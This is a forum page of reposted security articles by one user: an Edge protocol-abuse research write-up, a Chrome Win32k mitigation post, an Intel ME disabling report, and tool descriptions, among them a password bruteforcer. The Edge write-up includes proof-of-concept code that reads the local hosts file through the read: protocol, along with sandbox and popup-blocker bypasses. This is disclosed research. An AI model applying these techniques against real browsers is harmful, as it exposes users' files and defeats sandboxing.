-
Posts
18753 -
Joined
-
Last visited
-
Days Won
726
Everything posted by Nytro
-
Cosa Nostra Cosa Nostra is an open source software clustering toolkit with a focus on malware analysis. It can create phylogenetic trees of binary malware samples that are structurally similar. It was initially released during SyScan360 Shanghai (2016). Getting started Required 3rd party tools In order to use Cosa Nostra you will need the source code, of course, a 2.7 version of Python, as well as one of the following tools in order to perform code analysis: Pyew Written in Python, it supports analysis of PE, ELF, Bios and Boot files for x86 or x86_64. IDA Written in C++. It supports analysing a plethora of executable types that you probably never even heard about. Commercial product. Radare2 Written in pure C. Same as with IDA, with support for extremely rare CPUs and binary formats. Also, it's open source! Link: https://github.com/joxeankoret/cosa-nostra
-
- 2
-
-
NEUTRALIZING INTEL’S MANAGEMENT ENGINE by: Brian Benchoff November 28, 2016 Five or so years ago, Intel rolled out something horrible. Intel’s Management Engine (ME) is a completely separate computing environment running on Intel chipsets that has access to everything. The ME has network access, access to the host operating system, memory, and cryptography engine. The ME can be used remotely even if the PC is powered off. If that sounds scary, it gets even worse: no one knows what the ME is doing, and we can’t even look at the code. When — not ‘if’ — the ME is finally cracked open, every computer running on a recent Intel chip will have a huge security and privacy issue. Intel’s Management Engine is the single most dangerous piece of computer hardware ever created. Researchers are continuing work on deciphering the inner workings of the ME, and we sincerely hope this Pandora’s Box remains closed. Until then, there’s now a new way to disable Intel’s Management Engine. Previously, the first iteration of the ME found in GM45 chipsets could be removed. This technique was due to the fact the ME was located on a chip separate from the northbridge. For Core i3/i5/i7 processors, the ME is integrated to the northbridge. Until now, efforts to disable an ME this closely coupled to the CPU have failed. Completely removing the ME from these systems is impossible, however disabling parts of the ME are not. There is one caveat: if the ME’s boot ROM (stored in an SPI Flash) does not find a valid Intel signature, the PC will shut down after 30 minutes. A few months ago, [Trammell Hudson] discovered erasing the first page of the ME region did not shut down his Thinkpad after 30 minutes. This led [Nicola Corna] and [Frederico Amedeo Izzo] to write a script that uses this exploit. Effectively, ME still thinks it’s running, but it doesn’t actually do anything. With a BeagleBone, an SOIC-8 chip clip, and a few breakout wires, this script will run and effectively disable the ME. This exploit has only been confirmed to work on Sandy Bridge and Ivy Bridge processors. It should work on Skylake processors, and Haswell and Broadwell are untested. Separating or disabling the ME from the CPU has been a major focus of the libreboot and coreboot communities. The inability to do so has, until now, made the future prospects of truly free computing platforms grim. The ME is in everything, and CPUs without an ME are getting old. Even though we don’t have the ability to remove the ME, disabling it is the next best thing. Sursa: https://hackaday.com/2016/11/28/neutralizing-intels-management-engine/
-
- 1
-
-
Tuesday, November 29, 2016 Breaking the Chain Posted by James Forshaw, Wielder of Bolt Cutters. Much as we’d like it to be true, it seems undeniable that we’ll never fix all security bugs just by looking for them. One of most productive ways to dealing with this fact is to implement exploit mitigations. Project Zero considers mitigation work just as important as finding vulnerabilities. Sometimes we can get our hands dirty, such as helping out Adobe and Microsoft in Flash mitigations. Sometimes we can only help indirectly via publishing our research and giving vendors an incentive to add their own mitigations. This blog post is about an important exploit mitigation I developed for Chrome on Windows. It will detail many of the challenges I faced when trying to get this mitigation released to protect end-users of Chrome. It’s recently shipped to users of Chrome on Windows 10 (in M54), and ended up blocking the sandbox escape of an exploit chain being used in the wild. For information on the Chromium bug that contains the list of things we implemented in order to get this mitigation working, look here. The Problem with Win32k It’s possible to lockdown a sandbox such as Chrome’s pretty comprehensively using Restricted Tokens. However one of the big problems on Windows is locking down access to system calls. On Windows you have both the normal NT system calls and Win32k system calls for accessing the GUI which combined represents a significant attack surface. While the NT system calls do have exploitable vulnerabilities now and again (for example issue 865) it’s nothing compared to Win32k. From just one research project alone 31 issues were discovered, and this isn’t counting the many font issues Mateusz has found and the hundreds of other issues found by other researchers. Much of Win32k’s problems come from history. In the first versions of Windows NT almost all the code responsible for the windowing system existed in user-mode. Unfortunately for 90’s era computers this wasn’t exactly good for performance so for NT 4 Microsoft moved a significant portion of what was user-mode code into the kernel (becoming the driver, win32k.sys). This was a time before Slammer, before Blaster, before the infamous Trustworthy Computing Memo which focussed Microsoft to think about security first. Perhaps some lone voice spoke for security that day, but was overwhelmed by performance considerations. We’ll never know for sure, however what it did do was make Win32k a large fragile mess which seems to have persisted to this day. And the attack surface this large fragile mess exposed could not be removed from any sandboxed process. That all changed with the release of Windows 8. Microsoft introduced the System Call Disable Policy, which allows a developer to completely block access to the Win32k system call table. While it doesn’t do anything for normal system calls the fact that you could eliminate over a thousand win32k system calls, many of which have had serious security issues, would be a crucial reduction in the attack surface. However no application in a default Windows installation used this policy (it’s said to have been introduced for non-GUI applications such as on Azure) and using it for something as complex as Chrome wasn’t going to be easy. The process of shipping Win32k lockdown required a number of architectural changes to be made to Chrome. This included replacing the GDI-based font code with Microsoft’s DirectWrite library. After around two years of effort Win32k lockdown was shipping by default. The Problems with Flash in Chrome Chrome uses a multi-process model, in which web page content is parsed inside Renderer processes, which are covered by the Win32k Lockdown policy for the Chrome sandbox. Plugins such as Flash and PDFium load into a different type of process, a PPAPI process, and due to circumstance these could not have the lockdown policy enabled. This would seem a pretty large weak point. Flash has not had the best security track record (relevant), making the likelihood of Flash being an RCE vector very high. Combine that with the relative ease of finding and exploiting Win32k vulnerabilities and you’ve got a perfect storm. It would seem reasonable to assume that real attackers are finding Win32k vulnerabilities and using them to break out of restrictive sandboxes including Chrome’s using Flash as the RCE vector. The question was whether that was true. The first real confirmation that this was true came from the Hacking Team breach, which occurred in July 2015. In the dumped files was an unfixed Chrome exploit which used Flash as the RCE vector and a Win32k exploit to escape the sandbox. While both vulnerabilities were quickly fixed I came upon the idea that perhaps I could spend some time to implement the lockdown policy for PPAPI and eliminate this entire attack chain. Analysing the Problem The first thing I needed to do was to determine what Win32k APIs were used by a plugin such as Flash. There are actually 3 main system DLLs that can be called by an application which end up issuing system calls to Win32k: USER32, GDI32 and IMM32. Each has slightly different responsibilities. The aim would be to enumerate all calls to these DLLs and replace them with APIs which didn’t rely on Win32k. Still it wasn’t just Flash that might call Win32k API but also the Pepper APIs implemented in Chrome. I decided to take two approaches to finding out what code I needed to remove, import inspection and dynamic analysis. Import inspection is fairly simple, I just dumped any imports for the plugins such as the Pepper Flash plugin DLL and identified anything which came from the core windowing DLLs. I then ran Flash and PDFium with a number of different files to try and exercise the code paths which used Win32k system calls. I attached WinDBG to the process and set breakpoints on all functions starting with NtUser and NtGdi which I could find. These are the system call stubs used to call Win32k from the various DLLs. This allowed me to catch functions which were in the PPAPI layer or not directly imported. Win32k system call using code in Flash and PDFium was almost entirely to enumerate font information, either directly or via the PPAPI. There was some OpenSSL code in Flash which uses the desktop window as a source of entropy, but as this could never work in the Chrome sandbox it’s clear that this was vestigial (or Flash’s SSL random number generator is broken, chose one or the other). Getting rid of the font enumeration code used through PPAPI was easy. Chrome already supported replacing GDI based font rendering and enumeration with DirectWrite which does all the rendering in User Mode. Most of the actual rendering in Flash and PDFium is done using their own TrueType font implementations (such as FreeType). Enabling DirectWrite for PPAPI processes was implemented in a number of stages, with the final enabling of DirectWrite in this commit. Now I just needed to get rid of the GDI font code in Flash and PDFium itself. For PDFium I was able to repurpose existing font code used for Linux and macOS. After much testing to ensure the font rendering didn’t regress from GDI I was able to put the patch into PDFium. Now the only problem was Flash. As a prototype I implemented shims for all the font APIs used by Flash and emulated them using DirectWrite. For a better, more robust solution I needed to get changes made to Flash. I don’t have access to the Flash source code, however Google does have a good working relationship with Adobe and I used this to get the necessary changes implemented. It turned out that there was a Pepper API which did all that was needed to replace the GDI font handling, pp::flash::FontFile. Unfortunately that was only implemented on Linux, however I was able to put together a proof-of-concept Windows implementation of pp::flash::FontFile and through Xing Zhang of Adobe we got a full implementation in Chrome and Flash. Doomed Rights Management From this point I could enable Win32k lockdown for plugins and after much testing everything seemed to be working, until I tried to test some DRM protected video. While encrypted video worked, any Flash video file which required output protection (such as High-bandwidth Digital Content Protection (HDCP)) would not. HDCP works by encrypting the video data between the graphics output and the display, designed to prevent people capturing a digital video. Still this presents a problem, as video along with games are some of the only residual uses of Flash. In testing, this also affected the Widevine plugin that implements the Encrypted Media Extensions for Chrome. Widevine uses PPAPI under the hood; not fixing this issue would break all HD content playback. Enabling HDCP on Windows requires the use of a small number of Win32k APIs. I’d not discovered this during my initial analysis because, a) I didn’t run any protected content through the Flash player and all functions were imported at runtime using LoadLibrary and GetProcAddress only when needed. The function Flash was accessing was OPMGetVideoOutputsFromHMONITOR which is exposed by dxva2.dll. This function in turn maps down to multiple Win32k calls such as NtGdiCreateOPMProtectedOutputs. The ideal way of fixing this would be to implement a new API in Chrome which exposed enabling HDCP then get Adobe and Widevine to use that implementation. It turns out that the Adobe DRM and Widevine teams are under greater constraints than normal development teams. After discussion with my original contact at Adobe they didn’t have access to the DRM code for Flash. I was able to have meetings with Widevine (they’re part of Google) and the Adobe DRM team but in the end I decided to go it alone and implement redirection of these APIs as part of the sandbox code. Fortunately this doesn’t compromise the security guarantees of the original API because of the way Microsoft designed it. To prevent a MitM attack against the API calls (i.e. you hook the API and return the answer the caller expects, such as HDCP is enabled) the call is secured between the caller and graphics driver using a X.509 certificate chain returned during initialization. Once the application such as Flash verifies this certificate chain is valid it will send back a session key to the graphics driver encrypted using the end certificate’s public key. The driver then decrypts the session key and all communication from then on is encrypted and hashed using variants of this key. Of course this means that the driver must contain the private key corresponding to the public key in the end certificate, though at least in the case on my workstation that shouldn’t be a major issue as the end certificate has a special Key Usage OID (1.3.6.1.4.1.311.10.5.8) and the root “Microsoft Digital Media Authority” certificate isn’t in the trusted certificate store so the chain wouldn’t be trusted anyway. Users of the API can embed the root certificate directly in their code and verify its trust before continuing. As the APIs assume that it’s already been brokered (at minimum via Win32k.sys) then adding another broker, in this case one which brokers from the PPAPI process to another process in Chrome without the Win32k lockdown policy in place, doesn’t affect the security guarantees of the API. Of course I made best efforts to verify the data being brokered to limit the potential attack surface, though I’ll admit something about sending binary blobs to a graphics driver gives me the chills. This solved the issue with enabling output protection for DRM’ed content and finally the mitigation could be enabled by default. The commit for this code can be found here. Avoiding #yolosec Implementation wise it turned out to be not too complex once I’d found all the different possible places that Win32k functions could be called. Much of the groundwork was already in place with the original Win32k Renderer lockdown, the implementation of DirectWrite and the way the Pepper APIs were structured. So ship it already! Well not so fast, this is where reality kicks in. Chrome on Windows is relied upon by millions upon millions of users worldwide and Win32k lockdown for PPAPI would affect not only Flash, but PDFium (which is used in things like the Print Preview window) and Widevine. It’s imperative that this code is tested in the real world but in such a way that the impact on stability and functionality can be measured. Chrome supports something called Variations which allow developers to selectively enable experimental features remotely and deploy them to a randomly selected group of users who’ve opted into returning usage and crash statistics to Google. For example you can do a simple A/B test with one proportion of the Chrome users left as a Control and another with Win32k lockdown enabled. Statistical analysis can be performed on the results of that test based on various metrics, such as number of crashes, hanging processes and startup performance to detect anomalous behaviour which is due to the experimental code. To avoid impacting users of Stable this is typically only done on Beta, Dev and Canary users. Having these early release versions of Chrome are really important for ensuring features work as expected and we appreciate anyone who takes the time to run them. In the end this process of testing took longer than the implementation. Issues were discovered and fixed, stability measured until finally we were ready to ship. Unfortunately in that process there was a noticeable stability issue on Windows 8.1 and below which we couldn’t track down. The stability issues are likely down to interactions with third party code (such as AV) which inject their own code into Chrome processes. If this injected code relies on calling Win32k APIs for anything there’s a high chance of this causing a crash. This stability issue led to the hard decision to initially only allow the PPAPI Win32k lockdown to run on Windows 10 (where if anything stability improved). I hope to revisit this decision in the future. As third party code is likely to be updated to support the now shipping Windows 10 lockdown it might improve stability on Windows 8/8.1. As of M54 of Chrome, Win32k lockdown is enabled by default for users on Windows 10 (with an option to disable it remotely in the unlikely event a problem surfaces). As of M56 (set for release approximately the end of January 2017) it can only be disabled with a command line switch to disable all Win32k lockdown including Renderer processes. Wrap Up From the first patch submitted in September 2015 to the final patch in June it took almost 10 months of effort to come up with a shipping mitigation. The fact that it’s had its first public success (and who knows how many non-public ones) shows that it was worth implementing this mitigation. In the latest version of Windows 10, Anniversary Edition, Microsoft have implemented a Win32k filter which makes it easier to reduce the attack surface without completely disabling all the system calls which might have sped up development. Microsoft are also taking pro-active effort to improve the Win32k code base. The Win32k filter is already used in Edge, however at the moment only Microsoft can use it as the executable signature is checked before allowing the filter to be enabled. Also it’s not clear that the filter even completely blocked the vulnerability in the recent in-the-wild exploit chain. Microsoft would only state it would “stop all observed in-the-wild instances of this exploit”. Nuking the Win32k system calls from orbit is the only way to be sure that an attacker can’t find a bug which passes through the filter. Hopefully this blog post demonstrates the time and effort required to implement what seems on the face of it a fairly simple and clear mitigation policy for an application as complex as Chrome. We’ll continue to try and use the operating system provided sandboxing mechanisms to make all users on Chrome more secure. Thanks While I took on a large proportion of the technical work it’s clear this mitigation could not have shipped without the help of others in Chrome and outside. I’d like to especially mention the following: Anantanarayanan Lyengar, for landing the original Win32k mitigations for the Renderer processes on which all this is based. Will Harris, for dealing with variations and crash reporting to ensure everything was stable. Adobe Security Team and Xing Zhang for helping to remove GDI font code from Flash. The Widevine team for advice on DRM issues. Sursa: https://googleprojectzero.blogspot.ro/2016/11/breaking-chain.html
-
Intr-o luna, maxim doua, poti vedea toate videoclipurile. Nu mi se pare mult 140 USD (600 RON) pentru a putea invata o gramada de lucruri care pe viitor iti pot aduce lejer 1-2K euro pe luna.
-
Nu sunt scumpe, ati putea incerca sa le cumparati.
-
Cea mai smechera.
-
Abusing of Protocols to Load Local Files, bypass the HTML5 Sandbox, Open Popups and more On October 25th, the fellows @MSEdgeDev twitted a link that called my attention because when I clicked on it (being on Chrome) the Windows Store App opened. It might not surprise you, but it surprised me! As far as I remembered, Chrome had this healthy habit of asking the user before opening external programs but in this case it opened directly, without warnings. This was different and caught my attention because I never accepted to open the Windows Store in Chrome. There are some extensions and protocols that will open automatically but I’ve never approved the Windows Store. The shortened Twitter link redirected to https://aka.ms/extensions-storecollection which (again) redirected to the interesting: ms-windows-store://collection/?CollectionId=edgeExtensions. It was a protocol that I was not aware of, so I immediately tried to find it in the place where most protocol associations reside: the registry. A search of “ms-windows-store“ immediately returned our string inside the PackageId of the what seemed to be the Windows Store app. Noting that we were also in a key called “Windows.Protocol” I scrolled up and down a bit to see if there were other apps inside, and found that tons of them (including MS Edge) had their own protocols registered. This is nice because it opens a new attack surface straight from the browser. But let’s press F3 to see if we find other matches. It seems that the ms-windows-store: protocol is also accepting search arguments, so we can try opening our custom search straight from Google Chrome. In fact, the Windows Store app seems to be rendering HTML with the Edge engine, which is also interesting because we might try to XSS it or if the app is native, send big chunks of data and see what happens. But we won’t be doing that now, let’s go back to regedit and press F3 to see what else we can find. This one is interesting also, because it gives us clues on how to quickly find more protocols if they are prepended with the string “URL:”. Let’s reset our search to “URL:” and see what we get. Pressing the [Home] key takes us back to the top of the registry and a search of “URL:” immediately returns the first match “URL:about:blank“, confirming that we are not crazy. Press F3 again and we find the bingnews: protocol but this time Chrome requests us confirmation to open it. No problem, let’s try it on Edge to see what happens. It opens! Next match in the registry is the calculator: protocol. Will this work? Wow! I’m sure this will piss off exploit writers. What program will they pop now? Both calc and notepadcan be open without memory corruptions, and cmd.exe is deprecated in favor to powershell now. Microsoft removed the fun out of you guys. This could be a good moment to enumerate all loadable protocols and see which apps accept arguments so we can try to inject code into them (binary or pure javascript, depending on how the app was coded and how it treats the arguments). There is a lot of interesting stuff here to play with, and if we keep searching for protocols we will find tons of apps that open (including Candy Crush which I didn’t know it was on my PC). By pressing F3 a few times I learned a lot. For example, there’s a microsoft-edge: protocol that loads URLs in a new tab. It doesn’t seem to be important, until we remember the limits that HTML pages should have. Will the popUp blocker prevent us from opening 20 microsoft-edge:http://www.google.com tabs? [ PoC – Open popUps on MS Edge ] What about the HTML5 Sandbox? If you are not familiar with it, it’s just a way to impose restrictions to a webpage using the sandbox iframe attribute or the sandbox http header. For example, if we want to render content inside an iframe and make sure it does not run javascript (not even open new tabs) we can just use this tag: <iframe src=”sandboxed.html” sandbox></iframe> And the rendered page will be completely restricted. Essentially it can only render HTML/CSS but no javascript or access to things like cookies. In fact, if we use the sandbox granularity and allow at least new windows/tabs, all of them should inherit the sandboxed attributes and opened links from that iframe will still be sanboxed. However, using the microsoft-edge protocol bypasses this completely. [ PoC – Bypass HTML5 Sandbox on MS Edge ] Nice to see that the microsoft-edge protocol allows us to bypass different restrictions. I haven’t went further than that but you can try! This is a journey of discovery, remember that a single tweet fired my motivation to play a bit and ended up giving us stuff that truly deserves more research. I continued pressing F3 in regedit and found the read: protocol which called my attention because when reading its (javascript) source code. It had the potential for a UXSS but Edge kept crashing again and again while trying. It crashed too much. For example setting the location of an iframe to “read:” was enough to crash the browser including all tabs. Want to see it? [ PoC – Crash on MS Edge ] OK, I was curious about what was happening so I appended a few bytes to the read protocol and fired up WinDbg to see if the crash was related to invalid data. Something quick and simple, no fuzzing or anything special: read:xncbmx,qwieiwqeiu;asjdiw!@#$%^&* Oh yes, I really typed something like that. The only way that I found not to crash the read protocol was to load anything coming from http. Everything else crashed the browser. So let’s attach WinDbg to Edge. A quick dirty method that I use it to simply kill the Edge process and children, reopen it and attach to the latest process that uses EdgeHtml.dll. Of course there are easier ways but … yeah, I’m just like that. Open a command line and… taskkill /f /t /im MicrosoftEdge.exe ** Open Edge and load the webpage but make sure it doesn't crash yet ** tasklist /m EdgeHtml.dll Enough. Now load WinDbg and attach to the latest listed Edge process that uses EdgeHtml. And remember to use Symbols in WinDbg. Once attached, just press F5 or g [ENTER] inside WinDbg so Edge keeps running. This is how my screen looks right now. On the left I have the page that I use to test everything and on the right, WinDbg attached to that particular Edge process. We will use a window.open to play with the read: protocol instead of an iframe because it’s more comfortable. Think about it, there are protocols/urls that might end up changing the top location regardless of how framed they are. If we start playing with a protocol inside an iframe there are chances that our own page (the top) will be unloaded, losing the code that we’ve just typed. My particular test-page saves everything that I type, so if the browser crashes it’s highly likely that I will be able to repro my manual work. But even with everything saved, when I’m playing with code that could change the URL of my test-page, I open it in a new window. Just a habit. On the left screen we can type and execute JavaScript code quickly, on the right we have WinDbg prepared to reveal us what’s happening behind this crash. Go ahead, let’s run the JavaScript code and… Bang! WinDbg breaks. ModLoad: ce960000 ce996000 C:\Windows\SYSTEM32\XmlLite.dll ModLoad: c4110000 c4161000 C:\Windows\System32\OneCoreCommonProxyStub.dll ModLoad: d6a20000 d6ab8000 C:\Windows\SYSTEM32\sxs.dll (2c90.33f0): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!) EdgeContent!wil::details::ReportFailure+0x120: 84347de0 cd29 int 29h OK, it seems that Edge knew something went wrong because it’s in a function called “ReportFailure”, right? Come on, I know we can immediately assume that if Edge is here, it failed somewhat “gracefully”. So let’s inspect the stack trace to see where are we coming from. Type “k” in WinDbg. 0:030> k # Child-SP RetAddr Call Site 00 af248b30 88087f80 EdgeContent!wil::details::ReportFailure+0x120 01 af24a070 880659a5 EdgeContent!wil::details::ReportFailure_Hr+0x44 02 af24a0d0 8810695c EdgeContent!wil::details::in1diag3::FailFast_Hr+0x29 03 af24a120 88101bcb EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x7c 04 af24a170 880da669 EdgeContent!CReadingModeViewer::Load+0x6b 05 af24a1b0 880da5ab EdgeContent!CBrowserTab::_ReadingModeViewerLoadViaPersistMoniker+0x85 06 af24a200 880da882 EdgeContent!CBrowserTab::_ReadingModeViewerLoad+0x3f 07 af24a240 880da278 EdgeContent!CBrowserTab::_ShowReadingModeViewer+0xb2 08 af24a280 88079a9e EdgeContent!CBrowserTab::_EnterReadingMode+0x224 09 af24a320 d9e4b1d9 EdgeContent!BrowserTelemetry::Instance::2::dynamic 0a af24a3c0 8810053e shlwapi!IUnknown_Exec+0x79 0b af24a440 880fee33 EdgeContent!CReadingModeController::_NavigateToUrl+0x52 0c af24a4a0 88074f98 EdgeContent!CReadingModeController::Open+0x1d3 0d af24a500 b07df508 EdgeContent!BrowserTelemetry::Instance'::2::dynamic 0e af24a5d0 b0768c47 edgehtml!FireEvent_BeforeNavigate+0x118 Check out the first two lines, both called blah blah ReportFailure, don’t you think Edge is here because something went wrong? Of course! Let’s keep going down until we find a function name that makes sense. The next one is called blah FailFast which also smells like it’s a function Edge called knowing that something went wrong. But we want to find the code that made Edge unhappy so continue reading down. The next one is blah _LoadRMHTML. This looks much better to me, don’t you agree? In fact, its name makes me think it Loads HTML. It would be interesting to break before the crash, so why not setting a breakpoint a few lines above _LoadRMHTML? We were watching the stack trace, let’s look at the code now. Let’s first unassemble back from that point (function + offset). It’s easy, using the “ub” command in WinDbg. 0:030> ub EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x7c EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x5a: 8810693a call qword ptr [EdgeContent!_imp_SHCreateStreamOnFileEx (882562a8)] 88106940 test eax,eax 88106942 jns EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x7d (8810695d) 88106944 mov rcx,qword ptr [rbp+18h] 88106948 lea r8,[EdgeContent!`string (88261320)] 8810694f mov r9d,eax 88106952 mov edx,1Fh 88106957 call EdgeContent!wil::details::in1diag3::FailFast_Hr (8806597c) We will focus on the names only and ignore everything else, OK? Just like when we were trying to find a variation for the mimeType bug, we are going to speculate here and if we fail we would of course keep going deeper. But sometimes a quick look on the debugger can reveal many things. We know that Edge will crash if it arrives to the last instruction of this snippet (address 88106957, FailFast_Hr). Our intention is to see why we ended up at that location, who the hell is sending us there. But let’s start from the beginning, the first instruction on this snippet seems to be calling a function with a complicated name which apparently reveals us tons of stuff. EdgeContent!_imp_SHCreateStreamOnFileEx The first part before the ! is the module (exe, dll, etc) where this instruction is located. In this case it is EdgeContent and we don’t even care about its extension, it’s just code. After the ! comes a funny name _imp_ and then SHCreateStreamOnFileEx which seems to be a function name that “creates a stream on file”. Do you agree? In fact, the _imp_ part makes me think that maybe this is an imported function loaded from a different binary. Let’s google that name to see if we find something interesting. That’s pretty nice. The first result came with the exact name that we searched for. Let’s click on it. OK. The first parameter that this function receives is a “A pointer to a null-terminated string that specifies the file name“. Interesting! If this snippet of code is being executed, then, it should be receiving a pointer to a file name as the first argument. But how can we see the first parameter? It’s easy, we are working on Winx64, and the calling convention / parameter passing says that “First 4 parameters – RCX, RDX, R8, R9” (speaking about integers/pointers). This means that the first parameter (pointer to a file name) will be loaded in the register RCX. With this information, we can set a breakpoint before Edge calls that function and see what the RCX has at that precise moment. But let’s restart because it’s a bit late at this point: Edge already crashed, Please, re-do what’s described above (kill Edge, open it, load the page, find the process and attach). This time, instead of running (F5) the process, we will set a breakpoint. The exact address of the instruction, we don’t know, but WinDbg revealed the exact offset, when we executed our “ub” command. 0:030> ub EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x7c EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x5a: 8810693a ff1568f91400 call qword ptr [EdgeContent!_imp_SHCreateStreamOnFileEx (882562a8)] 88106940 85c0 test eax,eax So the breakpoint should go in EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x5a We type “bp” and the function name + offset [ENTER]. Then “g” to let Edge run. 0:029> bp EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x5a 0:029> g Great. This is exciting. We want to see what’s the file name (or string) located in the register RCX right before SHCreateStreamOnFileEx executes. Let’s run the code and feel the break. Well, I feel it baby =) breakpoints connect me to my childhood. Let’s run the JavaScript code and bang! WinDbg breaks right there. Breakpoint 0 hit EdgeContent!CReadingModeViewerEdge::_LoadRMHTML+0x5a: 8820693a ff1568f91400 call qword ptr [EdgeContent!_imp_SHCreateStreamOnFileEx (883562a8)] That’s great, now we can inspect the content where RCX is pointing. To do this we will use the “d” command (display memory) @ and the register name, just like this: 0:030> d @rcx 02fac908 71 00 77 00 69 00 65 00-69 00 77 00 71 00 65 00 q.w.i.e.i.w.q.e. 02fac918 69 00 75 00 3b 00 61 00-73 00 6a 00 64 00 69 00 i.u.;.a.s.j.d.i. 02fac928 77 00 21 00 40 00 23 00-24 00 25 00 5e 00 26 00 w.!.@.#.$.%.^.&. 02fac938 2a 00 00 00 00 00 08 00-60 9e f8 02 db 01 00 00 *.......`....... 02fac948 10 a9 70 02 db 01 00 00-01 00 00 00 00 00 00 00 ..p............. 02fac958 05 00 00 00 00 00 00 00-00 00 00 00 19 6c 01 00 .............l.. 02fac968 44 14 00 37 62 de 77 46-9d 68 27 f3 e0 92 00 00 D..7b.wF.h'..... 02fac978 00 00 00 00 00 00 08 00-00 00 00 00 00 00 00 00 ................ This isn’t nice on my eyes but on the right of the first line I see something which looks similar to a unicode string. Let’s display again as unicode (du). 0:030> du @rcx 02fac908 "qwieiwqeiu;asjdiw!@#$%^&*" Nice! The string rings me! Look at the JavaScript code that we’ve just ran. It seems that the argument passed to this function is whatever we type after the comma. With this knowledge plus knowing that it is expecting a file, we can try a full path to something in my drive. Because Edge runs inside an AppContainer, we will try a file that’s accessible. For example something from the windows/system32 directory. read:,c:\windows\system32\drivers\etc\hosts We are also removing the garbage before the comma which seems unrelated (albeit it deserves more research!). Let’s quickly detach, restart Edge, and run our new code url = "read:,c:\\windows\\system32\\drivers\\etc\\hosts"; w = window.open(url, "", "width=300,height=300"); And as expected, the local file loads in the new window without crashes. [ PoC – Open hosts on MS Edge ] Fellow bug hunter, I will stop here but I believe all these things deserve a bit more of research depending on what’s fun for you: A) Enumerate all loadable protocols and attack those applications via query-strings. Play with microsoft-edge: which bypasses the HTML5 sandbox, popup blocker and who knows what else. C) Keep going with the read: protocol. We found a way to stop it from crashing but remember there is a function SHCreateStreamOnFileEx expecting things that we can influence! It’s worth trying more. Also, we can continue working on the arguments to see if commas are used to split arguments, etc. If debugging binaries is boring for you, then you can still try to XSS the reading view. I hope you find tons of vulnerabilities! If you have questions, ping me at @magicmac2000. Have a nice day! Reported to MSRC on 2016-10-26 Sursa: https://www.brokenbrowser.com/abusing-of-protocols/
-
- 2
-
-
Cryptology ePrint Archive: Report 2016/1114 Full Disk Encryption: Bridging Theory and Practice Louiza Khati and Nicky Mouha and Damien Vergnaud Abstract: We revisit the problem of Full Disk Encryption (FDE), which refers to the encryption of each sector of a disk volume. In the context of FDE, it is assumed that there is no space to store additional data, such as an IV (Initialization Vector) or a MAC (Message Authentication Code) value. We formally define the security notions in this model against chosen-plaintext and chosen-ciphertext attacks. Then, we classify various FDE modes of operation according to their security in this setting, in the presence of various restrictions on the queries of the adversary. We will find that our approach leads to new insights for both theory and practice. Moreover, we introduce the notion of a diversifier, which does not require additional storage, but allows the plaintext of a particular sector to be encrypted to different ciphertexts. We show how a 2-bit diversifier can be implemented in the EagleTree simulator for solid state drives (SSDs), while decreasing the total number of Input/Output Operations Per Second (IOPS) by only 4%. Category / Keywords: secret-key cryptography / disk encryption theory, full disk encryption, FDE, XTS, IEEE P1619, unique first block, diversifier, provable security Original Publication (with major differences): CT-RSA 2017 - RSA Conference Cryptographers' Track Date: received 25 Nov 2016 Contact author: nicky at mouha be Available format(s): PDF | BibTeX Citation Version: 20161125:195305 (All versions of this report) Short URL: ia.cr/2016/1114 Discussion forum: Show discussion | Start new discussion Sursa: https://eprint.iacr.org/2016/1114
-
Publicat pe 25 nov. 2016 This is the first part of a full analysis for a packed Fleercivet sample. We start with basic static analysis, detection name interpretation and unpacking.
-
- 1
-
-
F-Scrack F-Scrack is a single file bruteforcer supports multi-protocol, no extra library requires except python standard library, which is ideal for a quick test. Currently support protocol: FTP, MySQL, MSSQL,MongoDB,Redis,Telnet,Elasticsearch,PostgreSQL. Compatible with OSX, Linux, Windows, Python 2.6+. Sursa: https://github.com/ysrc/F-Scrack
-
The Linux Kernel Hidden Inside Windows 10 Publicat pe 22 nov. 2016 by Alex Ionescu Initially known as "Project Astoria" and delivered in beta builds of Windows 10 Threshold 2 for Mobile, Microsoft implemented a full blown Linux 3.4 kernel in the core of the Windows operating system, including full support for VFS, BSD Sockets, ptrace, and a bonafide ELF loader. After a short cancellation, it's back and improved in Windows 10 Anniversary Update ("Redstone"), under the guise of Bash Shell interoperability. This new kernel and related components can run 100% native, unmodified Linux binaries, meaning that NT can now execute Linux system calls, schedule thread groups, fork processes, and access the VDSO! As it's implemented using a full-blown, built-in, loaded-by-default, Ring 0 driver with kernel privileges, this not a mere wrapper library or user-mode system call converter like the POSIX subsystem of yore. The very thought of an alternate virtual file system layer, networking stack, memory and process management logic, and complicated ELF parser and loader in the kernel should tantalize exploit writers - why choose from the attack surface of a single kernel, when there's now two? But it's not just about the attack surface - what effects does this have on security software? Do these frankenLinux processes show up in Procmon or other security drivers? Do they have PEBs and TEBs? Is there even an EPROCESS? And can a Windows machine, and the kernel, now be attacked by Linux/Android malware? How are Linux system calls implemented and intercepted? As usual, we'll take a look at the internals of this entirely new paradigm shift in the Windows OS, and touch the boundaries of the undocumented and unsupported to discover interesting design flaws and abusable assumptions, which lead to a wealth of new security challenges on Windows 10 Anniversary Update ("Redstone") machines.
-
- 1
-
-
Demystifying the Secure Enclave Processor Publicat pe 22 nov. 2016 by Tarjei Mandt & Mathew Solnik & David Wang The secure enclave processor (SEP) was introduced by Apple as part of the A7 SOC with the release of the iPhone 5S, most notably to support their fingerprint technology, Touch ID. SEP is designed as a security circuit configured to perform secure services for the rest of the SOC, with with no direct access from the main processor. In fact, the secure enclave processor runs it own fully functional operating system - dubbed SEPOS - with its own kernel, drivers, services, and applications. This isolated hardware design prevents an attacker from easily recovering sensitive data (such as fingerprint information and cryptographic keys) from an otherwise fully compromised device. Despite almost three years have passed since its inception, little is still known about the inner workings of the SEP and its applications. The lack of public scrutiny in this space has consequently led to a number of misconceptions and false claims about the SEP. In this presentation, we aim to shed some light on the secure enclave processor and SEPOS. In particular, we look at the hardware design and boot process of the secure enclave processor, as well as the SEPOS architecture itself. We also detail how the iOS kernel and the SEP exchange data using an elaborate mailbox mechanism, and how this data is handled by SEPOS and relayed to its services and applications. Last, but not least, we 